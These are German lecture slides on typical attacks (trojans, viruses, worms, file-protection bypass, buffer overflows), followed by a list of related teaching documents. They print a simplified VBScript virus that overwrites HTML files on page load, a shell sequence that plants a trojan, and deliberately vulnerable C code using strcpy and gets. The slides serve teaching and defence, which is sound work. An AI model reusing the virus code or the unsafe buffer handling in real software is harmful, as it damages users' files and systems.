2 Typische Angriffe. Trojanisches Pferd. Virus. Wurm. Umgehung von Sicherheitsmechanismen. Ausnutzung von Software-Verletzlichkeiten

Größe: px
Ab Seite anzeigen:

Download "2 Typische Angriffe. Trojanisches Pferd. Virus. Wurm. Umgehung von Sicherheitsmechanismen. Ausnutzung von Software-Verletzlichkeiten"

Transkript

1 2 Typische Angriffe Trojanisches Pferd Virus Wurm Umgehung von Sicherheitsmechanismen Ausnutzung von Software-Verletzlichkeiten... weitere, insbesondere im Netz SS-2 1

2 2.1 Trojanisches Pferd Schadsoftware, die neben nützlicher Funktionalität auch nicht dokumentierte, schädliche Funktionen enthält und diese unabhängig vom Anwender und ohne dessen Wissen ausführt. Beispiele: Programm verhält sich wie normaler Editor, leitet aber heimlich die eingegebenen Daten auch an den Angreifer weiter. Java-Bibliotheksklasse befragt bei jeder Benutzung eine geheime Webseite des Angreifers, ob eine Sabotage-Maßnahme durchgeführt werden soll. Ferngesteuertes Programm! SS-2 2

3 Schutzmaßnahmen: Zugriffsrechte restriktiv handhaben ( 4) (bringt nicht viel) Capability-basierter Schutz ( 4) Sichere Programmübernahme aus vertrauenswürdiger Quelle Programme signieren ( 8) (sofern man dem Unterzeichner vertraut) Informationsflusskontrolle ( 5) Code Reviews Alles nicht einfach! Trojanische Pferde gehören zu den großen Herausforderungen in der IT-Sicherheit! SS-2 3

4 2.2 Virus Code, der vom Angreifer in zunächst korrekte Programme eingebaut wird, bei jedem Start eines so infizierten Wirtsprogramms mitausgeführt wird, dabei weitere Programme in der gleichen Weise infiziert und mehr oder weniger Unheil anrichtet. Somit: Virus-infiziertes Programm ist Trojanisches Pferd mit der Eigenschaft, auch andere Programme zu solchen Trojanischen Pferden zu machen. SS-2 4

5 Aufbau eines Virus: Erkennungsteil: Infektionsteil: Schadensteil: Bedingungsteil: Tarnungsteil: erkennt bereits infizierte Programme infiziert noch nicht infizierte Programme enthält die Schadensfunktion enthält Bedingungen für die genannten Aktivitäten erschwert die Erkennung SS-2 5

6 Typische Programmstruktur im Binärcode (vereinfacht) gesund infiziert 0 JUMP START 0 JUMP START START Virus JUMP START SS-2 6

7 Arten von Viren: Datei-Viren: infizieren ausführbare Dateien Boot-Viren: infizieren den Boot-Sektor von Festplatten... auch in Kombination (multipartite virus) Makro-Viren: nicht Binärprogramme werden infiziert, sondern Daten/Skripte, die von Interpretierern für Skriptsprachen aufbereitet bzw. ausgeführt werden. Makro-Viren sind wegen ihrer spezifischen Datenformate in der Regel an bestimmte Anwendungen gebunden: SS-2 7

8 Beispiel 1: Makros in Word (prominent: Melissa, 1999): Aktionsfolgen zur Dokumentbearbeitung können in Makro zusammengefasst werden - auslösbar z.b. mit Funktionstaste, ferner automatische Ausführung beim Öffnen eines Dokuments. Makrosprache hat Mächtigkeit einer Programmiersprache (bei Word: VBA Visual Basic for Applications, oder VBS - Visual Basic Script, nicht nur für Word)! - Virus kann als Makro konzipiert werden, - wird beim Öffnen eines infizierten Dokuments aktiviert; - Verbreitung auf Windows-Systemen vor allem durch (Outlook-Adressbuch!) SS-2 8

9 Beispiel 2: VBS-Virus in Web-Dokumenten (prominent: HTML Internal): Lokale infizierte Webseite infiziert alle.html- und.htm-dateien im lokalen Verzeichnis und in allen darüberliegenden Verzeichnissen. Beim Laden einer infizierten Webseite wird das VBS-Skript gestartet: <body OnLoad= CheckIt(); > lokale Webseite? <script language= VBScript > <! -- Sub CheckIt End Sub If location.protocol = file: then Call IsFile SS-2 9

10 eigentliche Virus-Aktivität_ Sub IsFile erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem: Set fso = CreateObject( Script.FileSystemObject ) erzeuge Windows-Verzeichnispfad: HostPath = Replace(location.href, "file:///", ) HostPath = Replace(HostPath, /, \ ) ermittle Vaterverzeichnis des aktuellen Verzeichnisses: cpath = fso.getparentfoldername(hostpath) folder = fso.getfolder(cpath) SS-2 10

11 infiziere: Set fso = CreateObject( Script.FileSystemObject ) While folder.isrootfolder = false Set fc = folder.files cpath = fso.getparentfoldername(cpath) For each f1 in fc s = fso.getextensionname(f1.name) If f1.path <> HostPath then If s = htm or s = html then fso.copyfile HostPath,f1.path End If Wend End Sub vereinfacht: ganze Datei ersetzen --> </script> SS-2 11

12 Maßnahmen von Viren, um unentdeckt zu bleiben: Stealth-Viren befallen lieber große Dateien als kleine, da Größenänderung weniger auffällig klinken sich in den Überwachungsprozess von Viren ein, z.b. Anti-Viren-Software: Verwischen von Spuren oder Vorspiegeln falscher Informationen. Polymorphe Viren Selbstveränderung des Viren-Codes Retro-Viren bekämpfen aktiv Anti-Viren-Programme SS-2 12

13 Nährboden für Viren: starke Aktivität am Rechner (Programmausführung) Systeme ohne oder mit schwachen Schutzmechanismen (z.b. MS-DOS, frühe Windows-Versionen) Nachlässiger Umgang mit vorhandenen Schutzmechanismen (Browser-Einstellungen, Warnmeldungen) System-Monokultur (z.b. Windows für PCs) Einschleppen durch Programme/Daten dubioser Herkunft (z.b. übers Netz) - wie bei Trojanischen Pferden SS-2 13

14 Gegenmaßnahmen: Beschränkung der Schreibrechte Datei-Integrität mittels Prüfsummen oder Verschlüsselung automatisches Ausführen von Makros ausschalten Viren-Scanner einsetzen SS-2 14

15 2.3 Wurm Programm, das sich über das Netz fortpflanzt, entweder selbsttätig (prominent: Internet Worm, Morris 1988) oder als Anhängsel von s (prominent: Love Letter, 2000), und auf den befallenen Rechnern Schaden stiftet.! Benötigt kein Wirtsprogramm! (d.h. Wurm Trojanisches Pferd) SS-2 15

16 Auswahl: MyDoom, Januar 2004 Verteiltes DoS auf Microsoft und SCO bisher schnellste Ausbreitung verbreitet über und peer-to-peer Sobig Worm, August 2003 Verbreitung über Mail-Attachment Benutzt eigene SMTP-Engine zur Replikation SQL Slammer, Januar 2003 Microsoft SQL 2000 Buffer Overflow (Heap und Stack) Code Red, Juli 2001 Index-Dienst des Microsoft Internet Information Server (IIS) Buffer Overflow in Idq.dll SS-2 16

17 Typische von Würmern benutzte Techniken: Nutzung von Diensten zur Fernausführung von Programmen, (z.b. Unix rsh ist i.a. aber gut geschützt, s.u.) Sicherheitslücken in Internet Daemons (z.b. offengelassene Debug Option in sendmail führt zur Annahme und Ausführung von Shell-Befehlen) Ausnutzung von Implementierungsschwächen von Systemsoftware ( 2.5) Skripte als Anlagen zu s (z.b. in VBS geschrieben), Öffnung führt zu weiterer Verbreitung (z.b. mittels Adressdatei) SS-2 17

18 Gegenmaßnahmen: Restriktive Vergabe von Zugriffsrechten Patches einspielen Sicherheitsmeldungen verfolgen Beachte: Im Gegensatz zu Viren handelt es bei Würmern um um netzspezifische Schadsoftware Vorlesung Netzsicherheit SS-2 18

19 Würmer versus Viren: Wurm ist eigenständiges Programm kann sich selbsttätig fortpflanzen und Kopien auf anderen Rechnern starten Virus integriert sich in ein Wirtsprogramm ist nicht unabhängig vom Wirtsprogramm ablauffähig Aber: manche Schadsoftware ist Zwitter Virus/Wurm (vgl. Melissa) SS-2 19

20 2.4 Umgehung von Sicherheitsmechanismen Passwörter herausfinden ( 3) Dateischutz umgehen ( 4) Geheimcode knacken ( 8)... u.a. Beispiel Dateischutz umgehen: Erfolgreicher Angriff mittels raffiniert geplanter Folge von Aktionen, die der Schutz-Verantwortliche nicht bedacht hat. SS-2 20

21 Beispiel: Herrn Pohl ein Trojanisches Pferd unterschieben % ll ~pohl -rw-r pohl inst 4711 Feb 29 12:34 memo drwxr-x--x 1 pohl inst 512 Feb 10 12:01 bin... Leider ist bin nicht lesbar. % ~pohl/bin/hello Ein Versuch... Hello world!... erfolgreich. % cp trojan ~pohl/bin/hello Noch ein Versuch erfolgreiches Installieren % eines Trojanischen Pferdes (cp ändert nur den Inhalt der Zieldatei, nicht deren Schutzstatus) SS-2 21

22 2.5 Ausnutzung von Software-Verletzlichkeiten Das klassische Beispiel: Puffer-Überlauf (buffer overflow) Def.: Programmiersprache heißt unsicher (unsafe), wenn Programmfehler die Speicherverwaltung stören können. (chaotisches Programmverhalten, Absturz mit Bus Error, Segmentation Fault u.ä. ) Beispiele: Pascal/Modula: ungültige Verweise C/C++ ferner: Feldgrenzenüberschreitung SS-2 22

23 Beispiel aus der Unix-C-Bibliothek: SYNOPSIS #include <stdio.h> char *gets(char *s); char *fgets(char *s, int n, FILE *stream); DESCRIPTION The gets() function reads characters from the standard input stream (see intro(3)), stdin, into the array pointed to by s, until a newline character is read or an end-of-file condition is encountered. The newline character is discarded and the string is terminated with a null character. The fgets() function reads characters from the stream into the array pointed to by s, until n-1 characters are read, or a newline character is read and transferred to s, or an end-of-file condition is encountered. The string is then terminated with a null character. When using gets(), if the length of an input line exceeds the size of s, indeterminate behavior may result. For this reason, it is strongly recommended that gets() be avoided in favor of fgets(). SS-2 23

24 ! Noch mehr gefährliche Funktionen: Standard C Library Functions string(3c) NAME string, strcasecmp, strncasecmp, strcat, strncat, strlcat, strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy, strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok, strtok_r - string operations DESCRIPTION The arguments s, s1, and s2 point to strings (arrays of characters terminated by a null character). The strcat(), strncat(), strlcat(), strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions all alter their first argument. These functions do not check for overflow of the array pointed to by the first argument. SS-2 24

25 Standard C Library Functions printf(3c) NAME printf, fprintf, sprintf, snprintf - print formatted output DESCRIPTION The sprintf() function places output, followed by the null byte (\0), in consecutive bytes starting at s; it is the user's responsibility to ensure that enough storage is available. SS-2 25

26 Anwendung von gets z.b. so: char line[100];... gets(line); und der Programmierer vergißt, längere Zeilen (länger als 100) als fehlerhaft abzufangen! bei längeren Zeilen wird der Keller beschädigt - oder von einem Angreifer gezielt modifiziert! typischer Angriff: SS-2 26

27 Typischer Angriff: Systemprogramm/prozess benutzen, das obigen Code enthält Keller durch planmäßig konstruierte Eingabe so manipulieren, dass Rücksprungadresse umgesetzt wird, und zwar auf diejenige Adresse im Keller, auf der mit eingeschleuster Code steht (der weiteren Code nachzieht); Effekt: Code des Angreifers läuft mit Rechten des Angegriffenen. (So praktiziert beim Internet Worm - unter Benutzung des fingerd Daemon!) SS-2 27

28 Einfaches Beispiel 1 ohne Einschleusung von Code void function (char *args ){ char buff2[4] = ABC ; char buff1[4]; strcpy(buff1,args); } int main( int argc, char *argv[]) { if (argc >1) function(argv[1]); else printf( Kein Argument! ); } Parameter main argc, argv Rücksprungadr. aus main Parameter funct args Rücksprungadr. aus function lokale Variable buff2 lokale Variable buff1 höhere Adressen (Keller wächst im Speicher von oben nach unten) SS-2 28

29 Beispiel: einen Netzdienst abschießen (denial of service) int main(int argc, char *argv[]) { char line[64]; // initialize server... for ( ; ; ) { connfd = accept( listenfd, (SA *) NULL, NULL); write( connfd, "Eingabe: ", 9); n = read( connfd, line, sizeof (line) -1 ); line[n] = 0; serve( line ); close( connfd ); } } SS-2 29

30 void serve(char *str) { char buff[24]; strcpy(buff, str); printf("buff: %s\n", buff); } Eingaben, die länger als 24 Bytes sind, zerstören die Rücksprungadresse - und bringen den Server zum Absturz SS-2 30

31 Schutzmaßnahmen: Sichere Programmiersprachen!! Keller-Segment ohne "execute"-rechte (Solaris; OpenBSD 3.2; Linux: OpenWall, PaX) (verhindert allerdings nicht den Überlauf als solchen) Andere Keller-Organisation, Hüllen für die unsicheren Funktionen, alle möglichen Tricks! Halde muss auch geschützt werden! SS-2 31

2 Typische Angriffe. nutzen technische oder menschliche Schwachstellen aus

2 Typische Angriffe. nutzen technische oder menschliche Schwachstellen aus 2 Typische Angriffe nutzen technische oder menschliche Schwachstellen aus Dateischutz umgehen Passwort knacken Trojanisches Pferd Viren Würmer Software-Schwachstellen... weitere, insbesondere im Netz (Spoofing,

Mehr

Multicast dt. Gruppenruf. Robert Tolksdorf und Peter Löhr

Multicast dt. Gruppenruf. Robert Tolksdorf und Peter Löhr Multicast dt. Gruppenruf Robert Tolksdorf und Peter Löhr Transportmöglichkeiten Verbindungsorientiert 1:1 TCP Verbindungslos 1:1 UDP Verbindungsorientiert 1:n Multicast Verbindungslos 1:n Multicast Robert

Mehr

12.5 Sicherer Programmcode

12.5 Sicherer Programmcode 12.5 Sicherer Programmcode Typische Beispiele für unsicheren Code: Pufferüberlauf ungeschützte kritische Abschnitte (im Englischen: software vulnerabilities) SS-12 1 12.5.1 Pufferüberlauf ausschließen!

Mehr

Tafelübung zu BSRvS 1 6. Sicherheit

Tafelübung zu BSRvS 1 6. Sicherheit Tafelübung zu BSRvS 1 6. Sicherheit Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund olaf.spinczyk@tu-dortmund.de http://ess.cs.uni-dortmund.de/~os/ http://ess.cs.tu-dortmund.de/de/teaching/ss2009/bsrvs1/

Mehr

Zugangskontrolle. Rechtebasierter Zugriffsschutz. Informationsflußkontrolle. Entwicklung sicherer Systeme. Kryptographische Verfahren

Zugangskontrolle. Rechtebasierter Zugriffsschutz. Informationsflußkontrolle. Entwicklung sicherer Systeme. Kryptographische Verfahren Systemsicherheit Vorlesung 4 SWS + Übungen 2 SWS FU Berlin Institut für Informatik SS 2002 Klaus-Peter Löhr Torsten Fink Systemsicherheit - SS 02 Grundbegriffe, Typische Angriffe, Übersicht Zugangskontrolle

Mehr

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm K 9. Übung K 9. Übung K-1 Überblick Besprechung 7. Aufgabe (jbuffer) Unix, C und Sicherheit K.1 Mögliche Programmsequenz für eine Passwortabfrage in einem Server- Programm: int main (int argc, char *argv[])

Mehr

2. Typische Angriffe. Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen.

2. Typische Angriffe. Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen. 2. Typische Angriffe Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen. 1 2 Typische Angriffe nutzen Schwachstellen des Systems aus Implementierungsschwächen

Mehr

Ein- und Ausgabe mit Dateien

Ein- und Ausgabe mit Dateien Ein- und Ausgabe mit Dateien Edouard Lamboray Informatik I für D-ITET (2004) Ein- und Ausgabekonzepte in C und C++ fstream header Streamobjekt Files schreiben und lesen Argumente von main Vorbemerkungen

Mehr

Grundlagen der Programmierung in C++ Arrays und Strings, Teil 1

Grundlagen der Programmierung in C++ Arrays und Strings, Teil 1 Grundlagen der Programmierung in C++ Arrays und Strings, Teil 1 Wintersemester 2005/2006 G. Zachmann Clausthal University, Germany zach@in.tu-clausthal.de Das C++ Typsystem simple structured integral enum

Mehr

Ein- und Ausgabe mit Dateien

Ein- und Ausgabe mit Dateien Ein- und Ausgabe mit Dateien Edouard Lamboray Informatik I für D-ITET (2004) Ein- und Ausgabekonzepte in C und C++ fstream header Streamobjekt Files schreiben und lesen Argumente von main 2 Vorbemerkungen

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Arrays (Felder/Vektoren)

Arrays (Felder/Vektoren) Arrays (Felder/Vektoren) Zusammenfassung mehrerer Variablen des gleichen Typs unter einem Namen im Speicher direkt hintereinander abgelegt Definition: Typname Arrayname [Größe]; Beispiel: int ar [5]; Zugriff

Mehr

Angewandte IT-Sicherheit

Angewandte IT-Sicherheit Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm:

Mehr

Zeiger in C und C++ Zeiger in Java und C/C++

Zeiger in C und C++ Zeiger in Java und C/C++ 1 Zeiger in Java und C/C++ Zeigervariable (kurz: Zeiger, engl.: pointer): eine Variable, die als Wert eine Speicheradresse enthält Java: Zeiger werden implizit für Referenztypen (Klassen und Arrays) verwendet,

Mehr

FEBE Die Frontend-Backend-Lösung für Excel

FEBE Die Frontend-Backend-Lösung für Excel FEBE Die Frontend--Lösung für FEBE Die Frontend--Lösung für FEBE.pptx 8.04.206 0:43 FEBE Die Frontend--Lösung für Nutzer A alle_aufträge neuer_auftrag Auftragsänderung Nutzer B alle_aufträge neuer_auftrag

Mehr

Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften

Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften Programmiertechnik Teil 4 C++ Funktionen: Prototypen Overloading Parameter C++ Funktionen: Eigenschaften Funktionen (Unterprogramme, Prozeduren) fassen Folgen von Anweisungen zusammen, die immer wieder

Mehr

Praxis der Programmierung

Praxis der Programmierung Zeichenketten (Strings), Ein- und Ausgabe Institut für Informatik und Computational Science Universität Potsdam Henning Bordihn Einige Folien gehen auf A. Terzibaschian zurück. 1 Zeichenketten (Strings)

Mehr

Teil I Debuggen mit gdb

Teil I Debuggen mit gdb Teil I Debuggen mit gdb Wer kennt das nicht? $./a.out Segmentation fault Was tun dagegen? printf()s in den Code einfügen? Besser (und professioneller): Einen Debugger verwenden Wer kennt das nicht? $./a.out

Mehr

C-Kurs 2010 Pointer. 16. September v2.7.3

C-Kurs 2010 Pointer. 16. September v2.7.3 C-Kurs 2010 Pointer Sebastian@Pipping.org 16. September 2010 v2.7.3 This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 License. C-Kurs Mi Konzepte, Syntax,... printf, scanf Next

Mehr

Datensicherheit. Inhalt. Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls Verena Novak 1

Datensicherheit. Inhalt. Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls Verena Novak 1 Datensicherheit Inhalt Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls 14.11.2003 Verena Novak 1 Was bedeutet Datensicherheit? Zustand, in dem Daten sowohl inhaltlich

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

Programmier-Befehle - Woche 10

Programmier-Befehle - Woche 10 Funktionen Rekursion Selbstaufruf einer Funktion Jeder rekursive Funktionsaufruf hat seine eigenen, unabhängigen Variablen und Argumente. Dies kann man sich sehr gut anhand des in der Vorlesung gezeigten

Mehr

E Angriffskonzepte, Systemschwachstellen

E Angriffskonzepte, Systemschwachstellen E Angriffskonzepte, Systemschwachstellen E Angriffskonzepte, Systemschwachstellen Angriff: nicht-autorisierter Zugriff auf ein System Abwehrmaßnahmen Ziele Authentisierung von Benutzern abgesicherte Kommunikation

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Programmieren in C. Funktionen mit Zeigern und Adressen. Prof. Dr. Nikolaus Wulff

Programmieren in C. Funktionen mit Zeigern und Adressen. Prof. Dr. Nikolaus Wulff Programmieren in C Funktionen mit Zeigern und Adressen Prof. Dr. Nikolaus Wulff ByValue versus byreferenz C übergibt immer Kopien der Variablen an Funktionen. Es ist nur dann möglich die Werte von Variablen

Mehr

Dateizugriff unter C

Dateizugriff unter C Begriffe Dateizugriff unter C Datei = sequentielle Ansammlung von Datenbytes, z.b. auf einer Festplatte Auch Bildschirm und Tastatur werden wie Dateien behandelt: Bildschirm ist die Datei stdout Tastatur

Mehr

C-Programme kompilieren mit Visual Studio Express

C-Programme kompilieren mit Visual Studio Express C-Programme kompilieren mit Visual Studio Express Die Beispiele, Aufgaben und Lösungen zum Buch C als erste Programmiersprache können mit Visual Studio Express von Microsoft bearbeitet, kompiliert und

Mehr

U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides

U23 - Shellcode. Twix Chaos Computer Club Cologne.  Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides Twix e.v. http://koeln.ccc.de 2016-11-28 Überblick 1 Motivation Was ist Shellcode? Beispiel 2 Einstieg Erzeugen, Testen von Shellcode 3 Der erste Shellcode Strings in Shellcode 4 Nullbytes, NOP Slides

Mehr

E.1 Angriffe von innerhalb des Systems

E.1 Angriffe von innerhalb des Systems E Angriffskonzepte, Systemschwachstellen E Angriffskonzepte, Systemschwachstellen Angriff: nicht-autorisierter Zugriff auf ein System Abwehrmaßnahmen Ziele Authentisierung von Benutzern abgesicherte Kommunikation

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Java Tools JDK. IDEs. Downloads. Eclipse. IntelliJ. NetBeans. Java SE 8 Java SE 8 Documentation

Java Tools JDK. IDEs.  Downloads. Eclipse. IntelliJ. NetBeans. Java SE 8 Java SE 8 Documentation Java Tools JDK http://www.oracle.com/technetwork/java/javase/ Downloads IDEs Java SE 8 Java SE 8 Documentation Eclipse http://www.eclipse.org IntelliJ http://www.jetbrains.com/idea/ NetBeans https://netbeans.org/

Mehr

Eine Mini-Shell als Literate Program

Eine Mini-Shell als Literate Program Eine Mini-Shell als Literate Program Hans-Georg Eßer 16.10.2013 Inhaltsverzeichnis 1 Eine Mini-Shell 1 1.1 Einen Befehl parsen......................... 2 1.2 Was tun mit dem Kommando?...................

Mehr

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

Trojaner. Verbundstudium TBW Veranstaltung IKS. Jochen Voigt und Hans Faber

Trojaner. Verbundstudium TBW Veranstaltung IKS. Jochen Voigt und Hans Faber Viren, Würmer W und Trojaner Verbundstudium TBW Veranstaltung IKS Jochen Voigt und Hans Faber Viren Inhaltsfolie Definition / Prinzip Grundtypen Schaeden / Vorbeugende Massnahmen Trojaner Definition /

Mehr

INE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen

INE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen INE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen 1 Call by Value, Structs 2 von 45 Call by value (Wiederholung)

Mehr

C/C++-Programmierung

C/C++-Programmierung 1 C/C++-Programmierung Aufzählungen, Zeichenketten Sebastian Hack Christoph Mallon (hack mallon)@cs.uni-sb.de Fachbereich Informatik Universität des Saarlandes Wintersemester 2009/2010 2 Aufzählungen enumerations,

Mehr

GI Vektoren

GI Vektoren Vektoren Problem: Beispiel: viele Variablen vom gleichen Typ abspeichern Text ( = viele char-variablen), Ergebnisse einer Meßreihe ( = viele int-variablen) hierfür: Vektoren ( = Arrays = Feld ) = Ansammlung

Mehr

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write

Mehr

Arrays,Strings&Pointer in C/C++

Arrays,Strings&Pointer in C/C++ Arrays,Strings&Pointer in C/C++ Vortrag Mathias Reich Am 21.5.2002 Pointer Da zur Zeit der Compelierung des Programms nicht immer der Umfang der zu bearbeitenden Daten feststeht muss man sich - in manchen

Mehr

Hello world. Sebastian Dyroff. 21. September 2009

Hello world. Sebastian Dyroff. 21. September 2009 Hello world Sebastian Dyroff 21. September 2009 1 / 35 Inhaltsverzeichnis Organisatorisches Hello World Typen und Operatoren Programmfluss Weitere Konstrukte Nützliche Tipps 2 / 35 Inhalte dieser Veranstaltung

Mehr

Programmieren in Java

Programmieren in Java Programmieren in Java Vorlesung 02: Methoden Prof. Dr. Peter Thiemann Albert-Ludwigs-Universität Freiburg, Germany SS 2017 Peter Thiemann (Univ. Freiburg) Programmieren in Java JAVA 1 / 17 Inhalt Scanner

Mehr

1. Definition. 2. Interne Speicherung der Zeichenketten. 3. Vereinbarung von Zeichenketten

1. Definition. 2. Interne Speicherung der Zeichenketten. 3. Vereinbarung von Zeichenketten 1. Definition Eine Zeichenkette (String) ist eine Aufeinanderfolge von darstellbaren Zeichen, die sequentiell im Speicher angeordnet sind und gemeinsam angesprochen werden. Jedes einzelne Zeichen wird

Mehr

Einführung in die C-Programmierung

Einführung in die C-Programmierung Einführung in die C-Programmierung Warum C? Sehr stark verbreitet (Praxisnähe) Höhere Programmiersprache Objektorientierte Erweiterung: C++ Aber auch hardwarenahe Programmierung möglich (z.b. Mikrokontroller).

Mehr

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free()

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free() Übungspaket 29 Dynamische Speicherverwaltung malloc() und free() Übungsziele Skript In diesem Übungspaket üben wir das dynamische Alloziieren 1. und Freigeben von Speicherbereichen 2. von Zeichenketten

Mehr

Dynamische Speicherverwaltung

Dynamische Speicherverwaltung Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Inhaltsverzeichnis 1 Allgemeines zur Speichernutzung 2 2 Ziel und Nutzen 2 3 Anwendung in C 2 3.1 malloc............................... 3 3.2 calloc...............................

Mehr

Hacking in C (Windows) Reinhard Oertel

Hacking in C (Windows) Reinhard Oertel Hacking in C (Windows) Reinhard Oertel Agenda Einleitung Techniken Hintergrundwissen Buffer-Overflow Zusammenfassung 03.06.11 Hacking in C 2/36 Meldungen 2011 Quelle: Spiegel.de 03.06.11 Hacking in C 3/36

Mehr

Einführung Makros Includes Errors und Warnings Pragmas Diverses. Der C-Präprozessor. Lukas Stabe. Universität Hamburg

Einführung Makros Includes Errors und Warnings Pragmas Diverses. Der C-Präprozessor. Lukas Stabe. Universität Hamburg Der C-Präprozessor Lukas Stabe Universität Hamburg Proseminar C - Grundlagen und Konzepte, 2013 Lukas Stabe C-Präprozessor 1 / 19 Inhalt 1. Einführung 2. Makros 3. Includes 4. Errors und Warnings 5. Pragmas

Mehr

Einleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens

Einleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens Grundlagen von C Jonas Gresens Proseminar C Grundlagen und Konzepte Arbeitsbereich Wissenschaftliches Rechnen Fachbereich Informatik Fakultät für Mathematik, Informatik und Naturwissenschaften Universität

Mehr

Übersicht PERL. !!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!!

Übersicht PERL. !!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!! !!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!! Erste Zeile eines PERL-Scripts: #! /usr/bin/perl Variablen in PERL: Normale Variablen beginnen mit einem $-Zeichen Array-Variablen beginnen mit

Mehr

E-/A-Funktionalität nicht Teil der Programmiersprache

E-/A-Funktionalität nicht Teil der Programmiersprache C Ein-/Ausgabe C Ein-/Ausgabe C.1 Überblick E-/A-Funktionalität nicht Teil der Programmiersprache Realisisierung durch "normale" Funktionen Bestandteil der Standard-Funktionsbibliothek einfache Programmierschnittstelle

Mehr

Viren und Würmer. B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34

Viren und Würmer. B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34 Viren und Würmer B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34 Inhalt 1 Überblick Malware Viren Würmer 2 SQL Slammer 3 Stuxnet

Mehr

Bash-Skripting Linux-Kurs der Unix-AG

Bash-Skripting Linux-Kurs der Unix-AG Bash-Skripting Linux-Kurs der Unix-AG Sebastian Weber 13.06.2012 Was ist ein Bash-Skript? Skript muss mit chmod +x ausführbar gemacht sein Aneinanderreihung von Befehlen normale Befehle nutzbar Sebastian

Mehr

SAP-Daten per HTML anzeigen

SAP-Daten per HTML anzeigen SAP-Daten per HTML anzeigen Oftmals besteht die Notwendigkeit einfach nur bestimmte Daten eines SAP-Systems anzuzeigen. Die Installation des SAPGUI für Windows, mit mehreren hundert Megabytes, scheint

Mehr

